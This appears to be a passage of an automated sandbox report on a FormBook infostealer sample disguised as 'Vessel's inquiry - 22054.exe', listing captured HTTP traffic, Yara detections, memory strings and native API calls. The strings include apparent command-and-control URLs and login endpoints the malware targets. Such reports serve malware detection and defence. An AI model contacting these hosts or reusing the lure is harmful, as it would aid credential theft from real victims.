Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 15 Apr 2025 13:57:50 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pg6NsTLOcvERqpR9hD9jXq4ShvZ5u1r7A3YWWI2%2B3nYmmpfLSjhEr8AsBQ4e4fby0oTaPNdW1OSO9rl1XK591SARUzUMzO1l6pBZhFn%2Flk2Y6e0ZzV%2Fg67P2EZc2S4%2BU"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 930bf44e1cb07221-JAXContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=113184&min_rtt=113184&rtt_var=56592&sent=2&recv=8&lost=0&retrans=0&sent_bytes=0&recv_bytes=6972&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a Data Ascii: 6d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyr0.a3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 15 Apr 2025 13:57:53 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IoenEzG9jN%2Fgv6YWhyvfBj4%2BVJuAha7N49NMZLS8HUylWxpRDKQlmbEc%2FJqBJACFzCSef9reqzo3%2BP5Z7CCL3t4EFJXOB0dpGzEw813Sc6brPWJ9gg6dnI%2FoxQd4vssF"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 930bf45ea95668cc-JAXalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=113822&min_rtt=113822&rtt_var=56911&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=440&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 39 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: 92<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 15 Apr 2025 13:57:58 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 15 Apr 2025 13:58:01 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 15 Apr 2025 13:58:04 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 15 Apr 2025 13:58:06 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Source: Vessel's inquiry - 22054.exe, 00000000.00000002.1219645155.0000000006972000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: Vessel's inquiry - 22054.exe, 00000000.00000002.1219645155.0000000006972000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: Vessel's inquiry - 22054.exe, 00000000.00000002.1219645155.0000000006972000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: Vessel's inquiry - 22054.exe, 00000000.00000002.1219645155.0000000006972000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: Vessel's inquiry - 22054.exe, 00000000.00000002.1219645155.0000000006972000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: Vessel's inquiry - 22054.exe, 00000000.00000002.1219645155.0000000006972000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: Vessel's inquiry - 22054.exe, 00000000.00000002.1219645155.0000000006972000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: Vessel's inquiry - 22054.exe, 00000000.00000002.1219645155.0000000006972000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: Vessel's inquiry - 22054.exe, 00000000.00000002.1219645155.0000000006972000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: Vessel's inquiry - 22054.exe, 00000000.00000002.1219645155.0000000006972000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: Vessel's inquiry - 22054.exe, 00000000.00000002.1219645155.0000000006972000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: Vessel's inquiry - 22054.exe, 00000000.00000002.1219645155.0000000006972000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: Vessel's inquiry - 22054.exe, 00000000.00000002.1219645155.0000000006972000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: Vessel's inquiry - 22054.exe, 00000000.00000002.1219645155.0000000006972000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: Vessel's inquiry - 22054.exe, 00000000.00000002.1219645155.0000000006972000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: Vessel's inquiry - 22054.exe, 00000000.00000002.1219645155.0000000006972000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: Vessel's inquiry - 22054.exe, 00000000.00000002.1219645155.0000000006972000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: Vessel's inquiry - 22054.exe, 00000000.00000002.1219645155.0000000006972000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: Vessel's inquiry - 22054.exe, 00000000.00000002.1219645155.0000000006972000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: 9gqi61vFxD2dyomn.exe, 0000000C.00000002.3660363847.00000000053EC000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.teksto.xyz
Source: 9gqi61vFxD2dyomn.exe, 0000000C.00000002.3660363847.00000000053EC000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.teksto.xyz/h2jy/
Source: Vessel's inquiry - 22054.exe, 00000000.00000002.1219645155.0000000006972000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: Vessel's inquiry - 22054.exe, 00000000.00000002.1219645155.0000000006972000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: Vessel's inquiry - 22054.exe, 00000000.00000002.1219645155.0000000006972000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: Vessel's inquiry - 22054.exe, 00000000.00000002.1219645155.0000000006972000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: Utilman.exe, 0000000B.00000002.3661252861.0000000007F6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org?q=
Source: Utilman.exe, 0000000B.00000002.3661252861.0000000007F6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Utilman.exe, 0000000B.00000002.3661252861.0000000007F6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Utilman.exe, 0000000B.00000002.3661252861.0000000007F6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Utilman.exe, 0000000B.00000002.3661252861.0000000007F6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=
Source: Utilman.exe, 0000000B.00000002.3661252861.0000000007F6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Utilman.exe, 0000000B.00000002.3661252861.0000000007F6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabv20
Source: Utilman.exe, 0000000B.00000002.3661252861.0000000007F6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gemini.google.com/app?q=
Source: Utilman.exe, 0000000B.00000002.3655805637.0000000002CDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oa
Source: Utilman.exe, 0000000B.00000002.3655805637.0000000002CDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: Utilman.exe, 0000000B.00000002.3655805637.0000000002CDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: Utilman.exe, 0000000B.00000002.3655805637.0000000002D0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf
Source: Utilman.exe, 0000000B.00000002.3655805637.0000000002CDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033$
Source: Utilman.exe, 0000000B.00000002.3655805637.0000000002CDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: Utilman.exe, 0000000B.00000002.3655805637.0000000002D0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: Utilman.exe, 0000000B.00000003.1651883330.0000000007F4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: Utilman.exe, 0000000B.00000002.3661252861.0000000007F6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/v20
Source: Utilman.exe, 0000000B.00000002.3661252861.0000000007F6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp
Source: Utilman.exe, 0000000B.00000002.3658949116.00000000062C4000.00000004.10000000.00040000.00000000.sdmp, 9gqi61vFxD2dyomn.exe, 0000000C.00000002.3658387639.0000000003FA4000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.werdienmachine.net/68yf/?DpGLQbiX=3FdVNtuqhX/OwQ0CsUdSe

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 2.2.Vessel's inquiry - 22054.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Vessel's inquiry - 22054.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.3660363847.0000000005360000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1469348449.00000000012D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3658197272.0000000004A40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3658115106.00000000049F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3655658054.0000000002C50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1468691450.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1470766734.0000000002AF0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3658118937.0000000003B60000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_0042C4B3 NtClose,	2_2_0042C4B3
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01412B60 NtClose,LdrInitializeThunk,	2_2_01412B60
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01412DF0 NtQuerySystemInformation,LdrInitializeThunk,	2_2_01412DF0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01412C70 NtFreeVirtualMemory,LdrInitializeThunk,	2_2_01412C70
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_014135C0 NtCreateMutant,LdrInitializeThunk,	2_2_014135C0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01414340 NtSetContextThread,	2_2_01414340
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01414650 NtSuspendThread,	2_2_01414650
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01412BE0 NtQueryValueKey,	2_2_01412BE0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01412BF0 NtAllocateVirtualMemory,	2_2_01412BF0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01412B80 NtQueryInformationFile,	2_2_01412B80
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01412BA0 NtEnumerateValueKey,	2_2_01412BA0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01412AD0 NtReadFile,	2_2_01412AD0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01412AF0 NtWriteFile,	2_2_01412AF0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01412AB0 NtWaitForSingleObject,	2_2_01412AB0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01412D00 NtSetInformationFile,	2_2_01412D00
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01412D10 NtMapViewOfSection,	2_2_01412D10
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01412D30 NtUnmapViewOfSection,	2_2_01412D30
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01412DD0 NtDelayExecution,	2_2_01412DD0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01412DB0 NtEnumerateKey,	2_2_01412DB0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01412C60 NtCreateKey,	2_2_01412C60
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01412C00 NtQueryInformationProcess,	2_2_01412C00
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01412CC0 NtQueryVirtualMemory,	2_2_01412CC0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01412CF0 NtOpenProcess,	2_2_01412CF0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01412CA0 NtQueryInformationToken,	2_2_01412CA0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01412F60 NtCreateProcessEx,	2_2_01412F60
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01412F30 NtCreateSection,	2_2_01412F30
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01412FE0 NtCreateFile,	2_2_01412FE0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01412F90 NtProtectVirtualMemory,	2_2_01412F90
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01412FA0 NtQuerySection,	2_2_01412FA0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01412FB0 NtResumeThread,	2_2_01412FB0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01412E30 NtWriteVirtualMemory,	2_2_01412E30
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01412EE0 NtQueueApcThread,	2_2_01412EE0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01412E80 NtReadVirtualMemory,	2_2_01412E80
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01412EA0 NtAdjustPrivilegesToken,	2_2_01412EA0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01413010 NtOpenDirectoryObject,	2_2_01413010
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01413090 NtSetValueKey,	2_2_01413090
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_014139B0 NtGetContextThread,	2_2_014139B0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01413D70 NtOpenThread,	2_2_01413D70
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01413D10 NtOpenProcessToken,	2_2_01413D10
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BB4650 NtSuspendThread,LdrInitializeThunk,	11_2_04BB4650
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BB4340 NtSetContextThread,LdrInitializeThunk,	11_2_04BB4340
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BB2CA0 NtQueryInformationToken,LdrInitializeThunk,	11_2_04BB2CA0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BB2C70 NtFreeVirtualMemory,LdrInitializeThunk,	11_2_04BB2C70
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BB2C60 NtCreateKey,LdrInitializeThunk,	11_2_04BB2C60
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BB2DF0 NtQuerySystemInformation,LdrInitializeThunk,	11_2_04BB2DF0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BB2DD0 NtDelayExecution,LdrInitializeThunk,	11_2_04BB2DD0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BB2D30 NtUnmapViewOfSection,LdrInitializeThunk,	11_2_04BB2D30
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BB2D10 NtMapViewOfSection,LdrInitializeThunk,	11_2_04BB2D10
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BB2E80 NtReadVirtualMemory,LdrInitializeThunk,	11_2_04BB2E80
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BB2EE0 NtQueueApcThread,LdrInitializeThunk,	11_2_04BB2EE0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BB2FB0 NtResumeThread,LdrInitializeThunk,	11_2_04BB2FB0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BB2FE0 NtCreateFile,LdrInitializeThunk,	11_2_04BB2FE0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BB2F30 NtCreateSection,LdrInitializeThunk,	11_2_04BB2F30
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BB2AF0 NtWriteFile,LdrInitializeThunk,	11_2_04BB2AF0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BB2AD0 NtReadFile,LdrInitializeThunk,	11_2_04BB2AD0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BB2BA0 NtEnumerateValueKey,LdrInitializeThunk,	11_2_04BB2BA0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BB2BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	11_2_04BB2BF0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BB2BE0 NtQueryValueKey,LdrInitializeThunk,	11_2_04BB2BE0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BB2B60 NtClose,LdrInitializeThunk,	11_2_04BB2B60
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BB35C0 NtCreateMutant,LdrInitializeThunk,	11_2_04BB35C0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BB39B0 NtGetContextThread,LdrInitializeThunk,	11_2_04BB39B0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BB2CF0 NtOpenProcess,	11_2_04BB2CF0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BB2CC0 NtQueryVirtualMemory,	11_2_04BB2CC0
